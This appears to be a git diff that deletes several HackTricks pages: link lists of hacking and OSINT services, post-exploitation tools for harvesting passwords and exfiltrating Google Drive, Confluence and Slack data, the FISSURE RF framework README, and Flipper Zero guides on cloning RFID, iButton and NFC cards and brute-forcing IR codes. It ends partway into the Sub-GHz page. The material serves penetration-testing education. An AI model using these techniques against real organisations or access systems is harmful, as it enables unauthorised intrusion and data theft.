-- [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Keywords
-- [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Hacking IoT (Wifi, BLE, SSDP, MDNS)
-- [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : automating scanning
-- [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : This list aims to cover Electron.js security related topics.
-- [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Info about BB programs
-
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/online-platforms-with-api.md b/src/todo/online-platforms-with-api.md
deleted file mode 100644
index 281692de597..00000000000
--- a/src/todo/online-platforms-with-api.md
+++ /dev/null
@@ -1,134 +0,0 @@
-# Online Platforms with API
-
-{{#include ../banners/hacktricks-training.md}}
-
-## [ProjectHoneypot](https://www.projecthoneypot.org/)
-
-You can ask if an IP is related to suspicious/malicious activities. Completely free.
-
-## [**BotScout**](http://botscout.com/api.htm)
-
-Check if the IP address is related to a bot that register accounts. It can also check usernames and emails. Initially free.
-
-## [Hunter](https://hunter.io/)
-
-Find and verify emails.\
-Some free API requests free, for more you need to pay.\
-Commercial?
-
-## [AlientVault](https://otx.alienvault.com/api)
-
-Find Malicious activities related to IPs and Domains. Free.
-
-## [Clearbit](https://dashboard.clearbit.com/)
-
-Find related personal data to a email (profiles on other platforms), domain (basic company info ,mails and people working) and companies (get company info from mail).\
-You need to pay to access all the possibilities.\
-Commercial?
-
-## [BuiltWith](https://builtwith.com/)
-
-Technologies used by webs. Expensive...\
-Commercial?
-
-## [Fraudguard](https://fraudguard.io/)
-
-Check if a host (domain or IP) is related with suspicious/malicious activities. Have some free API access.\
-Commercial?
-
-## [FortiGuard](https://fortiguard.com/)
-
-Check if a host (domain or IP) is related with suspicious/malicious activities. Have some free API access.
-
-## [SpamCop](https://www.spamcop.net/)
-
-Indicates if host is related to spam activity. Have some free API access.
-
-## [mywot](https://www.mywot.com/)
-
-Based on opinions and other metrics get if a domain is related with suspicious/malicious information.
-
-## [ipinfo](https://ipinfo.io/)
-
-Obtains basic info from an IP address. You can test up to 100K/month.
-
-## [securitytrails](https://securitytrails.com/app/account)
-
-This platform give information about domains and IP addresses like domains inside an IP or inside a domain server, domains owned by an email (find related domains), IP history of domains (find the host behind CloudFlare), all domains using a nameserver....\
-You have some free access.
-
-## [fullcontact](https://www.fullcontact.com/)
-
-Allows to search by email, domain or company name and retrieve "personal" information related. It can also verify emails. There is some free access.
-
-## [RiskIQ](https://www.spiderfoot.net/documentation/)
-
-A lot of information from domains and IPs even in the free/community version.
-
-## [\_IntelligenceX](https://intelx.io/)
-
-Search Domains, IPs and emails and get info from dumps. Have some free access.
-
-## [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
-
-Search by IP and gather information related to suspicions activities. There is some free access.
-
-## [Greynoise](https://viz.greynoise.io/)
-
-Search by IP or IP range and get information about IPs scanning the Internet. 15 days free access.
-
-## [Shodan](https://www.shodan.io/)
-
-Get scan information of an IP address. Have some free api access.
-
-## [Censys](https://censys.io/)
-
-Very similar to shodan
-
-## [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
-
-Find open S3 buckets searching by keyword.
-
-## [Dehashed](https://www.dehashed.com/data)
-
-Find leaked credentials of emails and even domains\
-Commercial?
-
-## [psbdmp](https://psbdmp.ws/)
-
-Search pastebins where a email appeared. Commercial?
-
-## [emailrep.io](https://emailrep.io/key)
-
-Get reputation of a mail. Commercial?
-
-## [ghostproject](https://ghostproject.fr/)
-
-Get passwords from leaked emails. Commercial?
-
-## [Binaryedge](https://www.binaryedge.io/)
-
-Obtain interesting info from IPs
-
-## [haveibeenpwned](https://haveibeenpwned.com/)
-
-Search by domain and email and get if it was pwned and passwords. Commercial?
-
-### [IP2Location.io](https://www.ip2location.io/)
-
-It detects IP geolocation, data center, ASN and even VPN information. It offers free 30K queries per month.
-
-### [IPQuery.io](https://www.ipquery.io/)
-IP Geolocation and OISNT with targeted datapoints. Non commerical. 
-
-
-[https://dnsdumpster.com/](https://dnsdumpster.com/)(in a commercial tool?)
-
-[https://www.netcraft.com/](https://www.netcraft.com/) (in a commercial tool?)
-
-[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) (in a commercial tool?)
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/post-exploitation.md b/src/todo/post-exploitation.md
deleted file mode 100644
index 347763ed173..00000000000
--- a/src/todo/post-exploitation.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Post Exploitation
-
-{{#include ../banners/hacktricks-training.md}}
-
-## **Local l00t**
-
-- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): These scripts, apart for looking for PE vectors, will look for sensitive information inside the filesystem.
-- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software.
-
-## **External Services**
-
-- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): This Module will connect to Confluence's API using an access token, export to PDF, and download the Confluence documents that the target has access to.
-- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team tool for exfiltrating files from a target's Google Drive that you(the attacker) has access to, via the Google Drive API. This includes includes all shared files, all files from shared drives, and all files from domain drives that the target has access to.
-- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team tool for exfiltrating the target organization's Google People Directory that you have access to, via Google's People API.
-- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** This is a tool developed in Python which uses the native Slack APIs to extract 'interesting' information from a Slack workspace given an access token.
-- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is a command line tool for red and blue teams to quickly perform reconnaissance of a Slack workspace/organization. Slackhound makes collection of an organization's users, files, messages, etc. quickly searchable and large objects are written to CSV for offline review.
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/radio-hacking/README.md b/src/todo/radio-hacking/README.md
deleted file mode 100644
index 3322ace68bb..00000000000
--- a/src/todo/radio-hacking/README.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# Radio Hacking
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md
deleted file mode 100644
index 777396589c0..00000000000
--- a/src/todo/radio-hacking/fissure-the-rf-framework.md
+++ /dev/null
@@ -1,190 +0,0 @@
-# FISSURE - The RF Framework
-
-{{#include ../../banners/hacktricks-training.md}}
-
-**Frequency Independent SDR-based Signal Understanding and Reverse Engineering**
-
-FISSURE is an open-source RF and reverse engineering framework designed for all skill levels with hooks for signal detection and classification, protocol discovery, attack execution, IQ manipulation, vulnerability analysis, automation, and AI/ML. The framework was built to promote the rapid integration of software modules, radios, protocols, signal data, scripts, flow graphs, reference material, and third-party tools. FISSURE is a workflow enabler that keeps software in one location and allows teams to effortlessly get up to speed while sharing the same proven baseline configuration for specific Linux distributions.
-
-The framework and tools included with FISSURE are designed to detect the presence of RF energy, understand the characteristics of a signal, collect and analyze samples, develop transmit and/or injection techniques, and craft custom payloads or messages. FISSURE contains a growing library of protocol and signal information to assist in identification, packet crafting, and fuzzing. Online archive capabilities exist to download signal files and build playlists to simulate traffic and test systems.
-
-The friendly Python codebase and user interface allows beginners to quickly learn about popular tools and techniques involving RF and reverse engineering. Educators in cybersecurity and engineering can take advantage of the built-in material or utilize the framework to demonstrate their own real-world applications. Developers and researchers can use FISSURE for their daily tasks or to expose their cutting-edge solutions to a wider audience. As awareness and usage of FISSURE grows in the community, so will the extent of its capabilities and the breadth of the technology it encompasses.
-
-**Additional Information**
-
-* [AIS Page](https://www.ainfosec.com/technologies/fissure/)
-* [GRCon22 Slides](https://events.gnuradio.org/event/18/contributions/246/attachments/84/164/FISSURE\_Poore\_GRCon22.pdf)
-* [GRCon22 Paper](https://events.gnuradio.org/event/18/contributions/246/attachments/84/167/FISSURE\_Paper\_Poore\_GRCon22.pdf)
-* [GRCon22 Video](https://www.youtube.com/watch?v=1f2umEKhJvE)
-* [Hack Chat Transcript](https://hackaday.io/event/187076-rf-hacking-hack-chat/log/212136-hack-chat-transcript-part-1)
-
-## Getting Started
-
-**Supported**
-
-There are three branches within FISSURE to make file navigation easier and reduce code redundancy. The Python2\_maint-3.7 branch contains a codebase built around Python2, PyQt4, and GNU Radio 3.7; the Python3\_maint-3.8 branch is built around Python3, PyQt5, and GNU Radio 3.8; and the Python3\_maint-3.10 branch is built around Python3, PyQt5, and GNU Radio 3.10.
-
-|   Operating System   |   FISSURE Branch   |
-| :------------------: | :----------------: |
-|  Ubuntu 18.04 (x64)  | Python2\_maint-3.7 |
-| Ubuntu 18.04.5 (x64) | Python2\_maint-3.7 |
-| Ubuntu 18.04.6 (x64) | Python2\_maint-3.7 |
-| Ubuntu 20.04.1 (x64) | Python3\_maint-3.8 |
-| Ubuntu 20.04.4 (x64) | Python3\_maint-3.8 |
-|  KDE neon 5.25 (x64) | Python3\_maint-3.8 |
-
-**In-Progress (beta)**
-
-These operating systems are still in beta status. They are under development and several features are known to be missing. Items in the installer might conflict with existing programs or fail to install until the status is removed.
-
-|     Operating System     |    FISSURE Branch   |
-| :----------------------: | :-----------------: |
-| DragonOS Focal (x86\_64) |  Python3\_maint-3.8 |
-|    Ubuntu 22.04 (x64)    | Python3\_maint-3.10 |
-
-Note: Certain software tools do not work for every OS. Refer to [Software And Conflicts](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md)
-
-**Installation**
-
-```
-git clone https://github.com/ainfosec/FISSURE.git
-cd FISSURE
-git checkout <Python2_maint-3.7> or <Python3_maint-3.8> or <Python3_maint-3.10>
-git submodule update --init
-./install
-```
-
-This will install PyQt software dependencies required to launch the installation GUIs if they are not found.
-
-Next, select the option that best matches your operating system (should be detected automatically if your OS matches an option).
-
-|                                          Python2\_maint-3.7                                          |                                          Python3\_maint-3.8                                          |                                          Python3\_maint-3.10                                         |
-| :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: |
-| ![install1b](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1b.png) | ![install1a](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1a.png) | ![install1c](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1c.png) |
-
-It is recommended to install FISSURE on a clean operating system to avoid existing conflicts. Select all the recommended checkboxes (Default button) to avoid errors while operating the various tools within FISSURE. There will be multiple prompts throughout the installation, mostly asking for elevated permissions and user names. If an item contains a "Verify" section at the end, the installer will run the command that follows and highlight the checkbox item green or red depending on if any errors are produced by the command. Checked items without a "Verify" section will remain black following the installation.
-
-![install2](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install2.png)
-
-**Usage**
-
-Open a terminal and enter:
-
-```
-fissure
-```
-
-Refer to the FISSURE Help menu for more details on usage.
-
-## Details
-
-**Components**
-
-* Dashboard
-* Central Hub (HIPRFISR)
-* Target Signal Identification (TSI)
-* Protocol Discovery (PD)
-* Flow Graph & Script Executor (FGE)
-
-![components](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/components.png)
-
-**Capabilities**
-
-| ![Signal Detector icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Signal Detector**_ | ![IQ Manipulation icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**IQ Manipulation**_      | ![Signal Lookup icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Signal Lookup**_          | ![Pattern Recognition icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Pattern Recognition**_ |
-| --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
-| ![Attacks icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Attacks**_           | ![Fuzzing icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_         | ![Signal Playlists icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Signal Playlists**_       | ![Image Gallery icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Image Gallery**_  |
-| ![Packet Crafting icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Packet Crafting**_   | ![Scapy Integration icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Scapy Integration**_ | ![CRC Calculator icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**CRC Calculator**_ | ![Logging icon](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Logging**_            |
-
-**Hardware**
-
-The following is a list of "supported" hardware with varying levels of integration:
-
-* USRP: X3xx, B2xx, B20xmini, USRP2, N2xx
-* HackRF
-* RTL2832U
-* 802.11 Adapters
-* LimeSDR
-* bladeRF, bladeRF 2.0 micro
-* Open Sniffer
-* PlutoSDR
-
-## Lessons
-
-FISSURE comes with several helpful guides to become familiar with different technologies and techniques. Many include steps for using various tools that are integrated into FISSURE.
-
-* [Lesson1: OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md)
-* [Lesson2: Lua Dissectors](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md)
-* [Lesson3: Sound eXchange](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson3\_Sound\_eXchange.md)
-* [Lesson4: ESP Boards](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md)
-* [Lesson5: Radiosonde Tracking](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md)
-* [Lesson6: RFID](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson6\_RFID.md)
-* [Lesson7: Data Types](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson7\_Data\_Types.md)
-* [Lesson8: Custom GNU Radio Blocks](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson8\_Custom\_GNU\_Radio\_Blocks.md)
-* [Lesson9: TPMS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson9\_TPMS.md)
-* [Lesson10: Ham Radio Exams](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson10\_Ham\_Radio\_Exams.md)
-* [Lesson11: Wi-Fi Tools](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson11\_WiFi\_Tools.md)
-
-## Roadmap
-
-* [ ] Add more hardware types, RF protocols, signal parameters, analysis tools
-* [ ] Support more operating systems
-* [ ] Develop class material around FISSURE (RF Attacks, Wi-Fi, GNU Radio, PyQt, etc.)
-* [ ] Create a signal conditioner, feature extractor, and signal classifier with selectable AI/ML techniques
-* [ ] Implement recursive demodulation mechanisms for producing a bitstream from unknown signals
-* [ ] Transition the main FISSURE components to a generic sensor node deployment scheme
-
-## Contributing
-
-Suggestions for improving FISSURE are strongly encouraged. Leave a comment in the [Discussions](https://github.com/ainfosec/FISSURE/discussions) page or in the Discord Server if you have any thoughts regarding the following:
-
-* New feature suggestions and design changes
-* Software tools with installation steps
-* New lessons or additional material for existing lessons
-* RF protocols of interest
-* More hardware and SDR types for integration
-* IQ analysis scripts in Python
-* Installation corrections and improvements
-
-Contributions to improve FISSURE are crucial to expediting its development. Any contributions you make are greatly appreciated. If you wish to contribute through code development, please fork the repo and create a pull request:
-
-1. Fork the project
-2. Create your feature branch (`git checkout -b feature/AmazingFeature`)
-3. Commit your changes (`git commit -m 'Add some AmazingFeature'`)
-4. Push to the branch (`git push origin feature/AmazingFeature`)
-5. Open a pull request
-
-Creating [Issues](https://github.com/ainfosec/FISSURE/issues) to bring attention to bugs is also welcomed.
-
-## Collaborating
-
-Contact Assured Information Security, Inc. (AIS) Business Development to propose and formalize any FISSURE collaboration opportunities–whether that is through dedicating time towards integrating your software, having the talented people at AIS develop solutions for your technical challenges, or integrating FISSURE into other platforms/applications.
-
-## License
-
-GPL-3.0
-
-For license details, see LICENSE file.
-
-## Contact
-
-Join the Discord Server: [https://discord.gg/JZDs5sgxcG](https://discord.gg/JZDs5sgxcG)
-
-Follow on Twitter: [@FissureRF](https://twitter.com/fissurerf), [@AinfoSec](https://twitter.com/ainfosec)
-
-Chris Poore - Assured Information Security, Inc. - poorec@ainfosec.com
-
-Business Development - Assured Information Security, Inc. - bd@ainfosec.com
-
-## Credits
-
-We acknowledge and are grateful to these developers:
-
-[Credits](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/CREDITS.md)
-
-## Acknowledgments
-
-Special thanks to Dr. Samuel Mantravadi and Joseph Reith for their contributions to this project.
-
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/flipper-zero/README.md b/src/todo/radio-hacking/flipper-zero/README.md
deleted file mode 100644
index 588ff73899c..00000000000
--- a/src/todo/radio-hacking/flipper-zero/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Flipper Zero
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-With [**Flipper Zero**](https://flipperzero.one/) you can:
-
-- **Listen/Capture/Replay radio frequencies:** [**Sub-GHz**](fz-sub-ghz.md)
-- **Read/Capture/Emulate NFC cards:** [**NFC**](fz-nfc.md)
-- **Read/Capture/Emulate 125kHz tags:** [**125kHz RFID**](fz-125khz-rfid.md)
-- **Read/Capture/Send Infrared signals:** [**Infrared**](fz-infrared.md)
-- **Read/Capture/Emulate iButtons:** [**iButton**](../ibutton.md)
-- **Use is as Bad USB**
-- **Use it as security key (U2F)**
-- **Play Snake**
-
-**Other Flipper Zero resources in** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
deleted file mode 100644
index 70e290e7ee9..00000000000
--- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
+++ /dev/null
@@ -1,58 +0,0 @@
-# FZ - 125kHz RFID
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-## Intro
-
-For more info about how 125kHz tags work check:
-
-
-{{#ref}}
-../pentesting-rfid.md
-{{#endref}}
-
-## Actions
-
-For more info about these types of tags [**read this intro**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz).
-
-### Read
-
-Tries to **read** the card info. Then it can **emulate** them.
-
-> [!WARNING]
-> Note that some intercoms try to protect themselves from key duplication by sending a write command prior to reading. If the write succeeds, that tag is considered fake. When Flipper emulates RFID there is no way for the reader to distinguish it from the original one, so no such problems occur.
-
-### Add Manually
-
-You can create **fake cards in Flipper Zero indicating the data** you manually and then emulate it.
-
-#### IDs on cards
-
-Some times, when you get a card you will find the ID (or part) of it written in the card visible.
-
-- **EM Marin**
-
-For example in this EM-Marin card in the physical card is possible to **read the last 3 of 5 bytes in clear**.\
-The other 2 can be brute-forced if you cannot read them from the card.
-
-<figure><img src="../../../images/image (104).png" alt=""><figcaption></figcaption></figure>
-
-- **HID**
-
-Same happens in this HID card where only 2 out of 3 bytes can be found printed in the card
-
-<figure><img src="../../../images/image (1014).png" alt=""><figcaption></figcaption></figure>
-
-### Emulate/Write
-
-After **copying** a card or **entering** the ID **manually** it's possible to **emulate** it with Flipper Zero or **write** it in a real card.
-
-## References
-
-- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
-
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md
deleted file mode 100644
index 2e19200ac46..00000000000
--- a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# FZ - iButton
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Intro
-
-For more info about what is an iButton check:
-
-
-{{#ref}}
-../ibutton.md
-{{#endref}}
-
-## Design
-
-The **blue** part of the following imageis how you would need to **put the real iButton** so the Flipper can **read it.** The **green** part is how you need to **touch the reader** with the Flipper zero to **correctly emulate an iButton**.
-
-<figure><img src="../../../images/image (565).png" alt=""><figcaption></figcaption></figure>
-
-## Actions
-
-### Read
-
-In Read Mode Flipper is waiting for the iButton key to touch and is able to digest any of three types of keys: **Dallas, Cyfral, and Metakom**. Flipper will **figure out the type of the key itself**. The name of the key protocol will be displayed on the screen above the ID number.
-
-### Add manually
-
-It's possible to **add manually** an iButton of type: **Dallas, Cyfral, and Metakom**
-
-### **Emulate**
-
-It's possible to **emulate** saved iButtons (read or manually added).
-
-> [!TIP]
-> If you cannot make the expected contacts of the Flipper Zero touch the reader you can **use the external GPIO:**
-
-<figure><img src="../../../images/image (138).png" alt=""><figcaption></figcaption></figure>
-
-## References
-
-- [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/todo/radio-hacking/flipper-zero/fz-infrared.md b/src/todo/radio-hacking/flipper-zero/fz-infrared.md
deleted file mode 100644
index 2a25b2cbf4a..00000000000
--- a/src/todo/radio-hacking/flipper-zero/fz-infrared.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# FZ - Infrared
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Intro <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
-
-For more info about how Infrared works check:
-
-
-{{#ref}}
-../infrared.md
-{{#endref}}
-
-## IR Signal Receiver in Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
-
-Flipper uses a digital IR signal receiver TSOP, which **allows intercepting signals from IR remotes**. There are some **smartphones** like Xiaomi, which also have an IR port, but keep in mind that **most of them can only transmit** signals and are **unable to receive** them.
-
-The Flipper infrared **receiver is quite sensitive**. You can even **catch the signal** while remaining **somewhere in between** the remote and the TV. Pointing the remote directly at Flipper's IR port is unnecessary. This comes in handy when someone is switching channels while standing near the TV, and both you and Flipper are some distance away.
-
-As the **decoding of the infrared** signal happens on the **software** side, Flipper Zero potentially supports the **reception and transmission of any IR remote codes**. In the case of **unknown** protocols which could not be recognized - it **records and plays back** the raw signal exactly as received.
-
-## Actions
-
-### Universal Remotes
-
-Flipper Zero can be used as a **universal remote to control any TV, air conditioner, or media center**. In this mode, Flipper **bruteforces** all **known codes** of all supported manufacturers **according to the dictionary from the SD card**. You don't need to choose a particular remote to turn off a restaurant TV.
-
-It is enough to press the power button in the Universal Remote mode, and Flipper will **sequentially send "Power Off"** commands of all the TVs it knows: Sony, Samsung, Panasonic... and so on. When the TV receives its signal, it will react and turn off.
-
-Such brute-force takes time. The larger the dictionary, the longer it will take to finish. It is impossible to find out which signal exactly the TV recognized since there is no feedback from the TV.
-
-### Learn New Remote
-
-It's possible to **capture an infrared signal** with Flipper Zero. If it **finds the signal in the database** Flipper will automatically **know which device this is** and will let you interact with it.\
-If it doesn't, Flipper can **store** the **signal** and will allow you to **replay it**.
-
-## References
-
-- [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md
deleted file mode 100644
index 5159a0da16d..00000000000
--- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md
+++ /dev/null
@@ -1,82 +0,0 @@
-# FZ - NFC
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Intro <a href="#id-9wrzi" id="id-9wrzi"></a>
-
-For info about RFID and NFC check the following page:
-
-
-{{#ref}}
-../pentesting-rfid.md
-{{#endref}}
-
-## Supported NFC cards <a href="#id-9wrzi" id="id-9wrzi"></a>
-
-> [!CAUTION]
-> Apart from NFC cards Flipper Zero supports **other type of High-frequency cards** such as several **Mifare** Classic and Ultralight and **NTAG**.
-
-New types of NFC cards will be added to the list of supported cards. Flipper Zero supports the following **NFC cards type A** (ISO 14443A):
-
-- **Bank cards (EMV)** — only read UID, SAK, and ATQA without saving.
-- **Unknown cards** — read (UID, SAK, ATQA) and emulate an UID.
-
-For **NFC cards type B, type F, and type V**, Flipper Zero is able to read an UID without saving it.
-
-### NFC cards type A <a href="#uvusf" id="uvusf"></a>
-
-#### Bank card (EMV) <a href="#kzmrp" id="kzmrp"></a>
-
-Flipper Zero can only read an UID, SAK, ATQA, and stored data on bank cards **without saving**.
-
-Bank card reading screenFor bank cards, Flipper Zero can only read data **without saving and emulating it**.
-
-<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&ixlib=react-9.1.1&h=916&w=2662" alt=""><figcaption></figcaption></figure>
-
-#### Unknown cards <a href="#id-37eo8" id="id-37eo8"></a>
-
-When Flipper Zero is **unable to determine NFC card's type**, then only an **UID, SAK, and ATQA** can be **read and saved**.
-
-Unknown card reading screenFor unknown NFC cards, Flipper Zero can emulate only an UID.
-
-<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&ixlib=react-9.1.1&h=932&w=2634" alt=""><figcaption></figcaption></figure>
-
-### NFC cards types B, F, and V <a href="#wyg51" id="wyg51"></a>
-
-For **NFC cards types B, F, and V**, Flipper Zero can only **read and display an UID** without saving it.
-
-<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&ixlib=react-9.1.1&h=1080&w=2704" alt=""><figcaption></figcaption></figure>
-
-## Actions
-
-For an intro about NFC [**read this page**](../pentesting-rfid.md#high-frequency-rfid-tags-13.56-mhz).
-
-### Read
-
-Flipper Zero can **read NFC cards**, however, it **doesn't understand all the protocols** that are based on ISO 14443. However, since **UID is a low-level attribute**, you might find yourself in a situation when **UID is already read, but the high-level data transfer protocol is still unknown**. You can read, emulate and manually input UID using Flipper for the primitive readers that use UID for authorization.
-
-#### Reading the UID VS Reading the Data Inside <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
-
-<figure><img src="../../../images/image (217).png" alt=""><figcaption></figcaption></figure>
-
-In Flipper, reading 13.56 MHz tags can be divided into two parts:
-
-- **Low-level read** — reads only the UID, SAK, and ATQA. Flipper tries to guess the high-level protocol based on this data read from the card. You can't be 100% certain with this, as it is just an assumption based on certain factors.
-- **High-level read** — reads the data from the card's memory using a specific high-level protocol. That would be reading the data on a Mifare Ultralight, reading the sectors from a Mifare Classic, or reading the card's attributes from PayPass/Apple Pay.
-
-### Read Specific
-
-In case Flipper Zero isn't capable of finding the type of card from the low level data, in `Extra Actions` you can select `Read Specific Card Type` and **manually** **indicate the type of card you would like to read**.
-
-#### EMV Bank Cards (PayPass, payWave, Apple Pay, Google Pay) <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
-
-Apart from simply reading the UID, you can extract a lot more data from a bank card. It's possible to **get the full card number** (the 16 digits on the front of the card), **validity date**, and in some cases even the **owner's name** along with a list of the **most recent transactions**.\
-However, you **can't read the CVV this way** (the 3 digits on the back of the card). Also **bank cards are protected from replay attacks**, so copying it with Flipper and then trying to emulate it to pay for something won't work.
-
-## References
-
-- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md b/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md
deleted file mode 100644
index e01fbdf799a..00000000000
--- a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md
+++ /dev/null
@@ -1,107 +0,0 @@
-# FZ - Sub-GHz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Intro <a href="#kfpn7" id="kfpn7"></a>
-
-Flipper Zero can **receive and transmit radio frequencies in the range of 300-928 MHz** with its built-in module, which can read, save, and emulate remote controls. These controls are used for interaction with gates, barriers, radio locks, remote control switches, wireless doorbells, smart lights, and more. Flipper Zero can help you to learn if your security is compromised.
-
-<figure><img src="../../../images/image (714).png" alt=""><figcaption></figcaption></figure>
-
-## Sub-GHz hardware <a href="#kfpn7" id="kfpn7"></a>
-
